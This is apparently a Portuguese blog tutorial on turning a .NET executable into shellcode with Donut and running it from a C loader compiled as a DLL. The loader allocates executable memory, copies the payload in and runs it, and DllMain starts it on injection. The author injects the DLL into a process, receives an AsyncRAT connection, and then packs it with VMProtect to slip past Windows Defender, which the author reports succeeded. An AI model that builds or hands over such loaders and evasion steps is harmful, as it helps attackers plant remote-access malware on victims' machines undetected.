Podemos transformar um executável em uma DLL?
A resposta é sim, podemos fazer isso, e não é muito difícil, Para isso, podemos usar um projeto que transforma nosso executável .NET em um binário. O nome do projeto é Donut. sugiro olhar tudo que esse projeto faz, porque ele faz muito mais do que apenas converter o executável em binário.
Não precisamos nos preocupar muito com os argumentos por agora. Vamos primeiro converter o executável para binário.
Vamos agora copiar os bytes desse binário para poder colocá-los em nosso código. Podemos copiar o binário usando o hxd.
O código que vamos utilizar vai ser esse:
#include <Windows.h>
unsigned char rawData[0] = { 0x00, 0x00, 0x00, 0x00 };
int main() {
LPVOID exec_mem = VirtualAlloc(0, sizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec_mem, rawData, sizeof(rawData));
((void(*)())exec_mem)();
VirtualFree(exec_mem, sizeof(rawData), MEM_RELEASE);
return 0;
}
#ifdef _WINDLL
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) {
DisableThreadLibraryCalls(hInstance);
switch (dwReason) {
case DLL_PROCESS_ATTACH: {
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)main, 0, 0, 0);
break;
}
}
return TRUE;
}
#endif
Podemos testar para ver se isso está funcionando. Para isso, podemos usar o Process-Hacker apenas para injetar nossa Dll em um processo:
Após ter injetado a DLL, vamos ter recebido uma conexão com o AsyncRat:
Bom, que tal verificar se este simples código tem a capacidade de contornar o Windows Defender pelo menos:
Como podemos ver, ele detecta o arquivo facilmente. Como não é meu intuito aprofundar-me sobre a evasão
de antivírus neste post, podemos apenas utilizar um software para proteger nossa DLL e verificar se
conseguimos contornar o Windows Defender após proteger nossa DLL.
Para isso, estarei utilizando o
VMProtect Professional:
Agora vamos testar nossa Dll novamente e ver se contornamos o Windows Defender:
Como podemos ver, contornamos facilmente o Windows Defender!
Pode ser uma maneira simples de fazer
isso, mas, de qualquer forma, funciona e é isso que importa.